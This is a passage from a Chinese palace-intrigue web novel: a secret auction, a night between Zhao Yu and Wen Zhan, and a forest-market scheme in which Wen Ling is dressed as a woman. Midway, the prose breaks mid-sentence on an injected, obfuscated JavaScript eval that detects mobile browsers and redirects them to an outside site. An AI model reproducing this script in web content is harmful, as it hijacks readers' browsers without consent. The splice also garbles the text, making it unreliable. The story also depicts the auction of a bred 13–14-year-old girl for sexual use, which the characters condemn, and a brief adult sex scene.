“‘苍山负雪、明烛天南’此八字并不是指那篇游记,而是一副画作。”文湛一直看着楼下的灯,此时方转眸看赵毓,“那是元宗章皇帝的珍藏,枯笔派大师探微散人百岁临终之前最后一副山水。” “画中就是他的家乡,六百年前古徽州的山水,也并非名山大川,只是那一年冬天特别冷,徽州下了雪,因而画中山水之间有积雪,夜空倒映雪光,所以才点了这八个字。” 赵毓“他们为什么挑出这幅画的典故来设关卡?” 此时,文湛冷笑了一下,楼外的烛火有一些倾了进来,使他显得幽深静远,莫名不可测,“这是元宗章皇帝的珍藏。” “呃……”赵毓不明白,“你方才说了。” 文湛,“元宗章皇帝于丹青极有造诣,既是他的珍藏,这幅画作名贵异常,真迹藏于大正宫,数百年来未曾显于人前。几幅摹本也是稀世之珍,能将它们收入囊中之人自然不寻常,甚至,仅仅是见其真容者,也绝非等闲。” “啊?!”此时温岭方得空插嘴,“除了咱们不说,另外那三家人马如此不同凡响,要争夺的货物到底是什么?” 赵毓想的却是别的,他问文湛,“你能大致猜出那三家究竟是谁吗?” 文湛却说,“兄长知道的。” 此时,赵毓陡然想起来,前些日子罗小草入谢氏书院被拒,他去探知了一些事情。诸如,谢氏学生的碗都是景德镇一个特殊的窑烧造而成,这个窑非大内用的官窑,它里面产的瓷器少而珍稀,几乎全部在清流豪族手中,没有外流。瓷器上印的画是如今叫价最高的“吴中四王”其中一王的大作,枯笔山水。碗底烧着赵格非的名字,字迹是当代书法大家薄璩先生的墨宝,独一无二。 当时,…… 赵毓,“如今吴中四王一副写意山水三千两银子起价,权贵大户们疯狗一样抢夺,为什么?因为这四王以模仿古代画圣们的大作而闻名天下。” “他们模仿了大师们很多作品,诸如宋徽宗的花鸟,黄公望的山水,吴道子的人像,还有赵孟頫的奔马。这些稀世之珍除藏于大正宫一大部分,其余散落民间的几乎尽数被这四王家族和他们的亲朋好友们收藏。” “旁人不要说临摹学习,就连看一眼都没门。这四王以这种套路发财,同去年那些大户们以高银价吸血又有什么不同?一样都是牢牢掌控极其少又极其珍稀的好东西,坐地起价,疯狂收割。” …… 赵毓,“我猜,这里面一定有兰芝社的人。” 文湛点了点头。 “其他人。”赵毓,“吃不准……” “一定有爱吃之人!”温岭忽然说,“我方才一直走前面,看见那些伙计们端着很多吃食上楼,很多花样我都没见过,看着都挺贵的,好像就送到东边楼下左数第三个包厢,他们是第一个写的纸条子通过核验的。” “擅美食者……”温挚想了想,“可是两淮盐商?” “不是。”赵毓又隔着窗子看了看东边楼下,“盐商就算身家丰厚也碰不到这幅画作,即使是临摹的仿作,他们也摸不到。我估摸着,应该是河道。” 温挚,“河督?” “不会。”赵毓声音古怪,话语却冠冕堂皇,“阙河图大人官名极盛,绝对不会卷进来。不过,我看沿河阙陈董明这四家,倒是脱不了干系。” 闻言,温挚不再说话。 温岭到说,“河督和那四家,有啥区别吗?谁不知道漕运总督阙河图是本朝奇才!十八岁两榜进士出身,亲爹是江南第一幕府,这位大人从来没在雍京城清水衙门混过资历,十年光景一路实缺,从七品知县径直干到二品总督!这条漕河上折了多少大僚?别人都不行,怎么就他这么能耐?不就是因为他出身阙氏吗?” 他话音落,周围人久久没有任何反应。 温岭就看文湛,那股子幽深静远之气越发浓重,像是深山洞穴中的玉雕佛像,看着冷淡平静,也许还隐约透出一丝慈眉善目,却带着杀气。 他娘温挚叹口气。 “大外甥!”赵毓则拍了拍他的肩膀,“你说的特别好,针砭入理,振聋发聩!就是,这些话啊,以后你可以不用说了,诶,童言无忌,当真是童言无忌。” 温岭,“呃……” 赵毓则掰着手指说,“兰芝社,漕河四家,……,那这第三方人马是谁?” 文湛微微皱眉,轻轻摇头。 接下来,赵毓原本以为会进行惨无人道的白银竞价,谁知,此时的‘幻境’好像急流转了个弯,忽然进入缓水流区,水镜台上继续展现的货物又恢复了普通的奇珍,诸如昆仑玉雕的一整张千步床,吴中四王一整套二十四节气图,甚至还有在东南沿海截获的东洋太刀,很是奢侈,莳绘葵花的刀鞘,足金打造的‘栗形’。 不过,货架子能卖的东西,最珍稀的永远是大活人。 十六个壮汉抬着一张白色象牙雕刻的床|上水镜台,牙床之上横卧一少女,十三四岁,不施粉黛,垂发坠明珠,裹着织锦,花纹为梅花,腰间扎缂丝,带长而蜿蜒,垂落床下,整个人精美到有些恐怖。 “叔。”温岭悄悄到赵毓耳边,“我第一次见您身边这位,就是眼下台上,这个感觉……” “啥?”赵毓懵。 温岭,“我根本就没见过俊美成这样的人,还是个男人。他的样貌如此诡异就算了,他还不动弹!就是,我总觉得他像个玉雕,可是凑近了,发现他居然还喘气!” 赵毓,“……” 温岭捂了捂胸口,“怪吓人的。” 赵毓还想说什么,发现竞价开始了,他们专注看着方才通过核验那三家,发现,他们虽然偶有举木牌,但是并不热切,同在场其他人那种疯狗抢食一般的氛围格格不入。 赵毓喃喃自语,“不是这个……” “叔。”温岭一直看着水镜台,“这是活物吗?” “是。”赵毓回答,“她方才动了一下胳膊。” 温岭,“怎么看着这么奇怪呢?” 赵毓说,“如果我没猜错,这姑娘应该是‘傀儡园’的珍品。” “那是什么?”文湛也从未听闻。 赵毓叹口气,“有神秘之所‘傀儡园’,蓄养美婢俊童使其混乱交|合,产下孩童只看容貌,优中选优,罔顾人伦,继续混乱作法。最终,诞下容貌极上等产物,无论男女均为珍品,价格畸高。” “啊?”温岭,“他们这么折腾,不怕王法?” 赵毓,“卖给傀儡园的孩子都被签了生死契,当场打死都没事。” 温岭,“那他们就不怕弄出来脑子不好使的,被买家追着打?” 赵毓,“买家其实不在乎这个。买傀儡园的珍品,原本也不是为了传宗接代的。况且,有些人,专门喜欢睡偶人一般的……” 温岭用拳头打了打自己的胸口,“我快吐了。” 赵毓连忙看看文湛,他表现还算镇定,就是脸色有些青。给文湛拿了盏冷茶,喝了,这才些微咳嗽了一声,脸色稍微缓了缓。 温岭嚎,“叔,您怎么知道这么多邪性的事儿?” 文湛也看着他。 赵毓伸出一根手指抓了抓自己涂抹了螺子黛的眉毛,“呃,吉王叔那个老纨绔说的,我就是转述了一下,……,而已。” 经过一波又一波疯狂竞价,最后这个傀儡园的‘珍品’以一万两黄金的价格,被东楼一个包厢的人买走。 赵毓只是看了一眼,确定不是方才通过核验的四家中的任意一家,也就不在意了。 随着夜色加深,他原本以为接下来就是这四家竞价的‘硬货’上水镜台,可是,随着那张象牙床被抬下去,今晚‘幻境’的交易却在此时终止了。 “尤七即使知道被盯上,依旧要进幻境交易……”赵毓摸了摸下巴,他的动作很轻,就怕再沾上脸蛋子上的浮粉,“说明这个货物很棘手,他无论如何都要尽快出手,可是,为什么却在此时停手了呢?” 文湛,“也许,我们的出现,未曾探知的身份,让他们觉得更为棘手吧。” “怂,太怂。”赵毓摇头,“没意思。” 果不其然,有仆从送过来一枚金镶玉的飞鸟书签,言明这就是明晚交易的信物。 文湛示意温挚接过去。 已经过了丑时,‘幻境’中的人群业已逐渐散去。 赵毓揉了揉太阳穴,“我昨儿夜里和都察院交接人来着,就没睡好。天大的事情,地大的吃饭睡觉,咱找个地方先眯瞪几个时辰,等天亮再说。” 温挚,“去我那里,不说多舒适,至少安全。” “好。”赵毓点点头。 温家后面一个独立的院落。 青砖黑瓦,蔷薇竹林。 涓细的水流上横着木头亭子,摆放着石雕的桌椅板凳,一红泥小火炉用来煮酒煮茶。 一间瓦房。 屋内全套酸枝家具,红木桌上摆放着点心和温汤,没有酽茶。临门的架子上有黄铜盆,放好了洗漱的热水。 赵毓,“温岭被他娘拉走睡觉了。” “挺好。”文湛随便应了一声,就出屋子了。 赵毓用油脂把脸上的粉黛胭脂啥的揉掉,又用布巾浸了热水擦脸,用青盐水漱口,这才坐到床边,叹了口气,却没有说话,就那么安静地坐着。 文湛用院子中的泥炉煮了茶水,端进来,也没有说话,安静洗漱,随后,端了一盏茶水喂赵毓喝了一口,就放回桌面上,关了房门。 脱了鞋子,赵毓说,“咱们也赶紧睡吧,就是脑子里面乱的很,不知道能不能睡着,呜……”腰身被文湛一把搂住,顺着他的姿势翻了身,滚到床铺上,被压在身下。“别闹。”赵毓嘀咕,“白天不是说了嘛,这几天要清心寡欲。再说,燕王叔盯着我,要是折腾让他知道了,……” “现在又不在南苑。”文湛探了探,舌尖顶开他的牙关,在赵毓的舌尖上舔了一下,酥麻酥麻的。 “可是,……”赵毓觉得自己舌尖打颤,话都说不利索了,“温姐姐,……” 文湛又在他嘴角亲了亲,“扯着她儿子睡觉去了。” 拘着他,手指探入衣服,在纤薄的后背上摸索着脊骨一点一点向下,耳鬓厮磨的姿势,咬了一下他的耳垂。赵毓全身酸软,衣物被子裹住的手脚,瘫软如同蔓藤,被勾引着,缠绕在文湛身上。 “呜……” 纠缠绵软的氛围中,被侵入的感觉竟然如此强烈。 直插心窝的触觉,锋利又强硬。 “轻点……,怎么每次都跟牲口似的……” 文湛支在他身上,伸手捂住他的双眼。 赵毓什么都看不到,只是感觉到两个人身体共同燃烧着一簇野火,狂恣而妄为。 “哥哥……”此时,文湛的声音甜了起来,甜到发腻。 “呜……”此时,困意也如同这席卷一切的夜幕,甜腻着,慢慢铺开,扯住赵毓进入梦乡。 这一夜睡得,说沉,也沉;说不沉,也不沉。总有个人影往来浮动,赵毓看不真切。他的双眼似乎蒙上一层黑色的幕布,伸手,摸到那层幕布,柔软却广袤,无法揭开,触感却是暖的。 …… 如果我们不是这样的绝望的相遇, 如果我们没有那么多国恨家仇, 如果我只是来自高昌的王族少女,他只是雍京的皇族少年。 如果有来世,我不想再做他爱的人,不想再伤害他,不想再让他心疼到左右为难。 我想…… 可以成为一只夜莺,在他寂寞的时候,在他推开窗子的时候,为他唱一首歌…… 我想…… 成为一朵花,就长在他的门边,在他推开门的时候,可以嗅到清澈的芳香…… 我想…… 成为一阵清风,在他的双眼看不见皓月的时候,为他轻轻吹开乌云…… 我的双脚踏上三途河彼岸,那些前世的回忆就随风一般,零落成泥碾作尘,飘散在我身后。 我忘记对他说一句: 我爱你。 …… 有光。 透过窗照射进来,炽白温热,赵毓一下子醒了。 他躺在床上,身上的衣服已经换了干净柔软的,被子盖得有些工整,却细心压在他的胳膊之下。毕竟是盛夏,即使朱仙镇夜里凉爽一些,也不至于全须全尾都捂住,出了汗反而容易伤风。 有新鲜的果子,点心和香茶的味道。 屋外有人说话。 文湛,“过了晌午,我要和承怡去一趟散花溪涧,这里的事,你盯着,我放心。” 温挚,“是。” 文湛,“如果他们一定要核验买家身份,你就以温氏露面,无大碍的。” 温挚,“明白。” “至于温岭……”文湛想了想,“同我们一起去散花溪涧。他虽然欠缺稳重,但持心纯正,多历练,今后必成大器。” 温挚,“主上圣恩。” 文湛,“自家儿郎,无须见外。” 安宁了一会儿,文湛进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729029|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见赵毓安生躺着,抬起右手挡着日光。手指在浮动,光线被切开,一丝一丝透过他的指尖,撒在他的面颊上。 “在看什么?”他问。 “想比较一下,看看朱仙镇的阳光和雍京有什么不一样。”赵毓回答。 “有什么不一样吗?”文湛又问。 “没。”赵毓笑了,“这里距离雍京实在太近了,日头都一样,光也一样,热度还是一样,就连升起来的时辰都是一模一样的。” 文湛端了一个茶盏,坐到床边。 赵毓又说,“云中的日头倒是不一样,和雍京比起来,那里的日头挂得更高更远,温度却更冷一些,还有,升起的时辰整整比这里晚一个时辰。” “按照钦天监的宣文,雍京寅时是黎明之前,夜与日的交界。” “可是云中不一样。” “地处大郑疆域的西北,九边重镇第一要塞,从那里再向西走,是一大片戈壁与沙漠。” “它的尽头就是西疆诸国。” 他说着,从床上坐起来,文湛将手中的茶盏递给他。 盏中是红枣茶汤。 香甜的气味,暖热的温度。 赵毓,“哪儿来的?” “我煮的。”文湛,“温挚这里有泥炉,还有陶罐。青梅可以煮酒,红枣可以煮茶。” 赵毓,“哇!” “已经嫁给哥哥,总要做些什么。” 文湛,“况且哥哥又是大郑的实权亲王,自然不能敷衍。既然无法陪伴哥哥征伐天下,只能在日常侍候上多用心了。” 赵毓,“噗……” 此时,文湛竟然还会面不改色地接过赵毓扣翻的茶盏,放置好,并且拿出绢帕细致给赵毓擦了擦嘴。 赵毓嚎,“能不能不要说这么奇诡的话!” 文湛轻轻笑了,却伸出手,揽住赵毓的后背,将他揽在怀中。以轻柔的动作,慢慢拍着他的后背。 赵毓的下巴就垫在文湛的肩膀上。 “文湛。” “嗯?” “小时候,我娘就这样哄我睡觉。” “嗯。” “其实,也不用她哄,我一沾床就睡了。” 此时,阳光就照在他的面庞上,没有手指的阻挡,倾泻了一大片。 “承怡,饿不饿?” “嗯,肚子咕噜噜叫了。” “我让他们准备了你爱吃的小包子,还熬了米粥。” “包子?”赵毓,“什么馅的?” 文湛,“肉的素的都有,还加了你最爱吃的大名府的小磨香油。” 赵毓,“呃……” 文湛,“当年姓殷的那个人说的,我至今记忆犹新。” “诶……”赵毓无奈叹气,“陛下,您要记得,您可是肚腹中有整个运河码头的主君哦!” “哦。”文湛不置可否。 散花溪涧距离朱仙镇那条大街倒不是很远,赵毓他们三个人走了一个时辰也就到了。 这里空山幽远,流水伴着鸟鸣,落于密林之中繁花之上。 “那里有人!”温岭忽然指着溪涧。 赵毓手搭凉棚看向水边,有一人,文人长衫,不新也不旧,手握钓竿,立于水边三分远。 “溪水飞熊?”赵毓纳闷,对温岭说,“你去看看那个人钓鱼的钩子,是直的还是弯的?” 不用温岭过去,那个人听见有人说话,自然扭回头。 赵毓一乐,“怎么是你呀?” 见是此人,文湛就停住脚步,没再向前走。 温岭跟着赵毓到溪水边。 赵毓,“柳大人怎么不在南苑?” 这人正是柳密。他收了鱼竿,先是对着赵毓身后作势,眼看着要跪,赵毓一把揪住,“在南苑随便猎只兔子,也比在这摸鱼强。” “赵先生知道,我……”还没等柳密将此话说完整,赵毓赶紧贴着他的耳朵说,“白龙鱼服,不想招摇。”柳密则看着赵毓,继续说,“赵先生知道,我在南苑没资格狩猎。” “哦?”温岭却颇为有兴致,“柳大人如此位高权重,也能没资格?” 赵毓后脖子发冷,于是连忙安抚柳密,“这傻小子不知轻重,您大人有大量,千万别跟他一般见识。” 柳密看着温岭,赵毓又是连忙说,“亲戚家的娃,他爹娇宠,没见过世面。” “温岭。”柳密则说,“在顺天府当差,勤恳守则,年少有为。” 赵毓有些意外,“你认得他?” 柳密,“顺天府尹刘同珝是我同年。” “哦哦哦。”赵毓点头,“那一定是去找刘道台喝酒的时候,遇到过小温。” 柳密再怎么是纯臣,他也是人,有亲朋好友。要是完全不近人情,什么私人关系都没有,这种人赵毓可不敢沾边。 “那到不是。”柳密说,“我知道他,是因为……” 赵毓,“嗯?” 柳密,“查抄雍南公学那个差事,是我向吉公(刘同珝,字吉祥,同僚下属称呼的时候就是吉公)推荐的。” 赵毓,“……” “……”温岭,“柳大人,您这个人,还怪好的嘞!” 柳密轻笑一声,倒是没说话。 忽然,赵毓拍了拍温岭的肩膀,“先找你六叔呆一会儿,我和柳大人谈些事情。” 温岭“哦”了一声,踩着落叶,回身,就从溪水边走到文湛身前。 不过,他有些懵,——为什么他就知道,赵毓口中的“六叔”指的是谁呢? 而此时文湛,正在看溪涧旁边的风景,根本没有看向那边。 “六叔。”温岭,“我叔让我过来,和您呆一会儿,他同柳大人像是有正经事要谈。” 文湛看了看他,没说话。 温岭,“六叔也认得柳大人吧。” 文湛,“嗯。” 温岭,“那六叔怎么不去打个招呼,那个活阎王这么温和的时候可不多见。” 文湛看着他,“怎么,柳密经常暴怒?” “那到没有。”温岭,“我们顺天府的刘老爷和他是同年,有的时候他过来串门子,我远远能见到。柳总宪看着倒是挺和气的,但是不知道怎的,就是煞气大,冷飕飕的,小鬼儿都不愿意往跟前凑乎。” 他见文湛没什么反应,就来了一句,“六叔,我叔结交朝廷重臣的时候,您都不掺和吗?” “承怡他……”文湛,“是手握重权的亲王,自有法度。” “哦。”温岭赶紧点头,狗腿了一句,“那您真贤惠!” 文湛,“……” 172. 172 172 这边,赵毓看着柳密,“南苑猎场也有水洼,柳大人怎么想到出了猎场过来这边钓鱼?” 柳密,“燕王殿下说这里的鱼比较鲜嫩。再说,虽然这里出了山谷,可是散花溪涧终究归属南苑,我也不算走远。” 赵毓一听,就知道是燕王叔担心他们,所以拐了柳密过来。 可是眼前,他同文湛,这…… “柳大人,您看,是这么回事儿。”赵毓有些抓耳挠腮,“您来南苑是为了公差,既然已经把程风交接给我了,您的公差就算圆满,这剩下来的时间呢,打猎还是钓鱼,……” 柳密笑了一声,“赵先生又忘记了,我没有资格在南苑狩猎。” “这个不重要。”赵毓一摆手,“我是说,人这一辈子不能总是政务,公事是做不完的,人活着,还要喘气,还要吃饭,还要喝茶,还要……” 柳密连声轻笑。 也许是这笑声过于轻快了,径直越过落叶山坡,传到文湛温岭这边。 温岭莫名惊诧,“这活阎王还会这么笑呢?!” 文湛没有说话,只是抬头看了看天。 柳密笑完,“赵先生,有话不妨直说。” 赵毓,“陛下同您在微音殿外见面,其实很不合礼法。您看,您是言官,上表弹劾也是侍君之忠,我要是让您扯谎,这不合适。不过呢,政务之外还有山水,案牍之后尚有林泉,如果我们把这段偶遇仅仅当做偶遇,垂钓不过是消遣,微音殿外不涉君臣,您看这么样?” 柳密又笑了一下,“赵先生。” 赵毓,“柳大人,您说。” 柳密,“我虽然是言官,但从未写过这样的弹劾奏章。” 赵毓,“哦?” 柳密,“我是大郑的臣子,又不是大正宫的奴婢,陛下的私事,我不干涉。” 赵毓,“他们都说天子无私事哦。” “他们,呵。”柳密,“私下糜奢滥觞,上奏却严苛,不过想要激怒陛下,撞撞大殿的柱子,留个清正的虚名而已。柳某功名靠文章,做官出实绩,做人凭良心,不做严苛以侍君上宽纵以待自己搏虚名这样的事。” 闻言,赵毓一合掌,“柳大人,我就喜欢您这样的!” 这句声音好像大了些,又让温岭听见了,他,“啊?我赵叔这么快移情别恋了?!” 文湛还是没有说话,只是转眼看了看远处的密林。 赵毓压低声音,“柳大人,咱就这么说定了?这趟出来呢,您只认识我,至于我家那六弟,您也是第一次见。” ——“我”家六弟吗?…… 柳密,“温岭他……” 赵毓一摆手,“别管他,他没事,他啥都不知道。” 柳密点头,“好。” 他们去与文湛温岭汇合,赵毓又说,“柳大人,咱们出门在外,官面上的称呼不太合适。我知道您的字是子慎,他们尊称您为慎公,可是这样的称呼其实也不太合适。反正咱俩交情也是过了明面的,您本身就在都察院,自然知道实情,主上也不会误会我居心叵测结交重臣……” 虽然文湛依旧看着密林,却好像被小风吹得喉咙痒痒,清咳了一声。 赵毓摸了摸鼻子,继续说,“我就称呼您为柳兄,您看怎么样?” 柳密,“自然是好的。” 温岭跟了一句,“柳兄?” 赵毓瞥了他一眼,温岭立马改口,“柳叔!” 赵毓颇为欣慰,于是先行一步,“咱们边走边说。”向着密林的方向,“柳兄这个时候到散花溪涧,不单单只是为了钓鱼吧。” 他的确了解柳密。 此时柳密方说,“我到南苑本是为了押送重犯,这个赵先生也知道。” 赵毓自然知道。 柳密押送的重犯已由他接手,——他曾经的副将、西北军的程风。王狩大祭祀中上等血食。 “在赵先生离开南苑之后,负责守备猎场的琅琊郡王又接手了两次祭祀的牺牲,全是妇人。” 赵毓听着就一皱眉,“妇人?” 柳密,“郡王也是这样想。他说,这些妇人手中并无权柄,能犯下何等祸国殃民的重罪?不过是被家中男人们连累了,罪不至此。” 赵毓停下脚步,点了点头。 柳密,“郡王仔细盘查了一下这些妇人的根底,发现一件奇异的事。不知道赵先生可还记得沈臻?” 赵毓,“自然记得。” 去年他小舅子尹徵被劫,原本并无生机,崔珩为了给尹徵杀出一条血路,换取一点点微弱的逃出生天的机会,将涉西北的加茉下诏狱,并且不顾皇帝的禁令,将与加茉有关、在雍京开鸦片馆的沈臻也打废了,却好歹留了他半条性命。因为文湛想要彻查,沈臻一口带着姑苏口音底色的雍京官话极其可疑。 柳密,“其中有沈臻的内眷。” 赵毓听着,并不意外,表情却有些难以描绘的复杂。此时文湛却上前一步,伸出了手,那是一个保护的姿势,似乎是本|能。 赵毓赶忙拍了拍他,扯住他的袖子,安抚道,“没事,没事。” 随后,他问柳密,“奉宁的意思,可是要放过她?” “不是。”柳密说,“南苑猎场陛下亲临,郡王不敢擅专,只是,……” 柳密问赵毓,“沈臻的那位内眷,闺名可是溯黛?” 赵毓点头,“是。她是高昌王女,名字与我大郑女子不同。” 柳密,“郡王说,那名内眷虽然也是高昌人,顶着王女的名字,却不是溯黛。” 闻言,赵毓则是轻叹口气,“这些事真是一言难尽,以后再说。柳兄,咱们先到前面,有一件事亟待要办。” 他说着,手也没有松开文湛,就这样,若有似无扯着他,顺着路向密林那个方向走过去。 温岭紧随其后。 柳密跟在温岭后面。身处雍京机要中枢,其实他一直是一个严谨安静的人,尤其懂得君子慎密而不出,只是眼前这个情况,他忍了两三回,最后终于在自己与温岭在和赵毓文湛拉开差距的时候,扯住了温岭的袖子,“温岭,我一直想问你。” 温岭,“柳大人,唉,不,柳叔!您有啥事直接说,做小辈的肯定知无不言、言无不尽。” 柳密,“你可知雍王齿序?” 温岭,“瞧您说的,我又不傻,天底下谁不知道那是七王爷!” 柳密点头,又问,“你当真不知道赵先生的六弟是何人?” 温岭回头看了看赵毓他们渐行渐远的后背,又看了看柳密,这才说,“这事儿吧,有点复杂。柳叔,您一直没问我赵叔这六叔是谁,其实挺对的。” 柳密看着他。 温岭,“柳叔,我说句托大的话,您别生气。您年轻,是主上改元之后才考出来的进士,没在凤化朝做过官,对我赵叔的过往不太了解。我赵叔吧,您别看他出身王族,其实身世特别复杂,这小半辈子过得不容易,家里的事儿多,人也多,想必这六叔是他那边的人,能不打听就别打听。” 柳密安静了半晌,终于明白了赵毓的意思,拍了拍温岭的肩膀,说,“我明白了。”此时,他看见已经走到远方的赵毓停下,正招呼他俩赶紧过去。 密林深处别有洞天。 “我原本以为,这是个背人的地方。”赵毓嘟囔了一句。 其实,这里是个不大不小的集市。 此处虽然是皇族领地,只是已经到了禁卫军护卫的关隘之外,物产丰饶,七百年来,附近的村民可以进来采摘打猎;再加上最近十几年间,朱仙镇成为商贸重镇,水陆畅通,山里刨出来的蘑菇、果子,猎来的袍子、山鸡和野猪,等等,都可以在这里直接交易,再向外运送。旁的不说,朱仙镇的一些菜馆,用到的珍货就是此处特产。 “他们都不背人吗,这么明目张胆吗?” 赵毓看着眼前人来人往,蜿蜒小路上布满了藤条编制的篮子,还有一些破麻布摊着,上面摆放着刚从山里出来的东西,虽然都是上等好货,却因为死状各不相同,略显狰狞和诡异。 已经到了晌午饭口,一些贩卖吃食的小摊贩旁边聚集了人群,热热闹闹、热气腾腾的。 随后,他们看见在一棵老槐树下,站着三个男人,衣着朴素,料子却很好,一人手中一把签字,口中念念有词,——“想要扮观音的大姑娘小媳妇们来这里,一人一个竹签子,不要乱,都有,来的人都有啊!” 赵毓连忙凑了过去,过了一会儿再回来,说,“有些麻烦,他们只给妇人这个竹签子,我混不上。” “嗨!”温岭直接乐出来,“虽然不知道是咋回事儿,我方才在这里看着,能拿到竹签子的那群就算是乡野村妇,衣着粗陋,但都是实打实的女人。赵叔,我实话实说啊,您别生气,虽然您长的还算清正,但是和女人也不沾边。” 赵毓倒是来劲了,“为什么呀,我琢磨着自己这长相还挺柔和的。” 温岭,“您这张脸蛋子,柔和不柔和见仁见智,但您这个做派,混不吝到都二百五了。不往远的说,咱眼前这条街上的行人,您仔细看看,就算是看起来粗鄙的乡下村妇,可比您温良恭俭让多了。” 赵毓,“……” 柳密轻咳了一声,用袖子掩住翘起来的嘴角。 赵毓忽然扭头问文湛,“觉得温岭长得怎么样?” 文湛眼皮没抬,“难看。” 温岭,“……” 赵毓附耳在文湛身前,叽里咕噜,文湛终于纡尊降贵抬了眼皮,上下打量温岭。 这种眼神对于柳密来说也是异常陌生的。他平时见到的皇帝,要不然就是冷漠到如同玉雕神像,要不然就是看似礼贤下士,实则眼睛中一丁点笑意和人类的情感都没有。但是此时的文湛却不同以往。现在的他,如同在菜市挑拣猪肉,眼神中充斥着不太满意,却并后退之路,于是扭曲自己的意志,努力让自己认同眼前艰难之下别无选择的困境。 而温岭,也被看得直发毛。 随后,文湛说,“勉强。” 赵毓一乐,反手拍了拍温岭的肩膀,“小子,你叔我给派你个好差事。” 温岭,“……?” 赵毓,“少年你清秀可人,着女装应该能蒙混过关。” “不是……”温岭病急乱投医,“赵叔,这活不是这么派的!柳叔长得也清秀,扮相也能蒙混过关,而且他是文官,十几年来饱读圣贤之书,特别温良恭俭让!” “我十七岁中进士。”柳密忽然低声道。 “呃……” 另三人不懂他想说什么。 柳密,“彼时便已是十年萤雪。” “倒也是……”温岭见其他人不开口,他接了柳密的话头。 柳密,“后又在雍京为官,算起来,我读圣贤书超过二十余载了。” 温岭,“……” 柳密不言。 温岭估摸着说,“您的意思是,您越发温良恭俭让?” “不。”柳密平淡地说,“我的意思是,二十余年苦读,搏取高爵厚禄,就为了在关键时候可以行使官大一级压死人的权力。” 温岭,“……” 柳密,“赵先生眼光不错。你着女装,再厚厚涂粉,想要蒙混当真可行。毕竟,这乡野,也得有几个似你这般粗到犹如吃了雍京天桥下贩卖的大力丸的壮妇。” 温岭被赵毓扯到集市路边的林子当中,拆散了头发,柳密这才拿着从集市上用一吊钱买来的妇人衣装过来,“买了一套袄裙,我又讨了讨价,让店家附带送了几根荆钗。” 温岭奇道,“柳叔还会市井买卖。” “傻小子没见识。”赵毓嗤了一鼻子才说,“柳大人做买卖可是一把好手。我第一次遇见柳大人的时候,他就是在卢沟晓月那边卖面条。” “啊?当真?”温岭想要听听故事,就任由赵毓摆弄。 赵毓说,“当时柳大人的面摊很是稀奇,他是等客人点了面再……” “现煮吗?”温岭就感觉自己的脑袋顶上的头发被薅起来。 赵毓,“不是,现种麦子。柳大人有一套老榆木做的家伙事,不足一寸长的小人,一头肉包子大小的老黄牛,还有一套犁,就放在他面摊旁边。等客人点了面,他就操纵人牛犁开始干活。先是把旁边一块地面上的土松一松,再撒种子,浇水,随后等麦子发芽,长高,结穗。麦穗沉甸甸的,把麦秸秆都压弯了,柳大人就把麦穗子割下来。那个榆木小人又开始操动枣糕一般大小的石磨开始磨面。” 温岭,“……” 此时他的头发仿佛几丛已经被割下的麦穗,在脑袋形状的土堆上,插|着四根荆钗,活像是笊篱与钉耙。赵毓左右看了看,居然颇为满意,又从袖子中掏出一个锦绣小袋子,里面是鹅蛋粉,他一边用手把鹅蛋粉往温岭脸蛋子上抹,一边说,“磨好了面粉,你柳叔就开始加水和面。面多了搁水、水多了搁面。一根擀面杖上下翻飞,做出的面条也像那么回事,煮完了以后加点萝卜条,我就这么吃了。行了,你这个模样还挺俊俏的。” 此时,之前一直站在旁边望着周围密林的文湛方回身。 看也不看温岭,他径自,“走吧。” 召集大姑娘小媳妇“扮观音”的地方,用木枝和茅草搭建了一个草塔,赵毓扯着温岭进去的时候,门口的看门壮汉上下看了看温岭,“姑……姑娘,您……” 温岭刚想说话,就被赵毓扭了一下后腰,发出‘支吾’的声音。他再伪装毕竟也开是将要成年的男子,一说话就漏风。 赵毓连忙搭腔,“这位大哥,他是我外甥女儿。” 看门人,“呃……” 赵毓,“我大姐家的大闺女。我姐命苦,找的男人不顶用,幸好头胎生了这个闺女,人长得壮实,顶得上半头牛。” 看门人又上下看了看温岭,还当真顺着赵毓的话点了点头。毕竟民间有言,头胎生了女等于白得一壮劳 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赵毓,“我也是听邻村的梅嫂子说咱这选人扮观音,还有银子,我就带着外甥女儿来了。想着要是有这个福气,被选中了,挣些银钱,还能给自己攒些嫁妆。” 看门人听着,倒是犹豫了,他居然还有些欲言又止。 不过,此时,不远处一人眼神冷厉盯着他看了一眼,看门人立刻回神,转眼看着赵毓。 眼前之人似有鬼神之力,绵软却极强大,让人意识不到,就已经走进了他编织的境地。 赵毓微笑道,“还望这位大哥通融,给根竹签子。” 看门人递出一根,给赵毓。 “多谢。”赵毓笑着,随后又扭了一下温岭的后腰,让他发出‘咿呀’的声音,似乎也一同向看门人道了谢,这才赶忙叫了文湛柳密走人。 “赵叔可以呀!”周围没人的空档,温岭连忙狗腿了一句。 赵毓微笑着,“我表哥可是雍京第一斥候!” “谁不知道宁淮侯执掌进奏院的威名!”温岭忽然问,“赵叔,突然想起一件事儿。上次说起来,河督他老爹是江南第一幕府,那雍京第一幕府是哪家的?” 赵毓,“那得问柳大人。” 温岭,“哦?” 赵毓,“你觉得雍京这些衙门口,哪家能供得上雍京第一幕府?” 温岭极认真想了想,“当真还得是柳大人,……或者是左相楚大人的衙门口。但是,相府有署官,那是走了明路的。剩下的那就,……柳大人?只是他可是出了名的独断,没听说有幕府………” 此时,赵毓抬手指压嘴唇,做了一个噤声的动作。 五步之外,文湛打了一个手势。 那是大郑军方的暗语,——自己人。 看见这个手势的赵毓温岭都很疑惑,——这里要说是虎狼窝,可能不够那么凶险,但是要说有自己人,也太匪夷所思。 柳密却不懂,赵毓和他低声说了。 温岭此时方觉异常佩服赵毓。虽然说勋贵和文官并非老死不相往来,但是结交起来总要有些顾忌,像赵毓这种上可周王公贵族,下可游贩夫走卒,而且行事同米糊一般的丝滑,也的确罕见。 文湛要到前面看看,这三个人留在此处,找棵遮天蔽日的老槐树,站树荫里面。 温岭忽然问柳密,“叔,您府上有幕僚吗?” 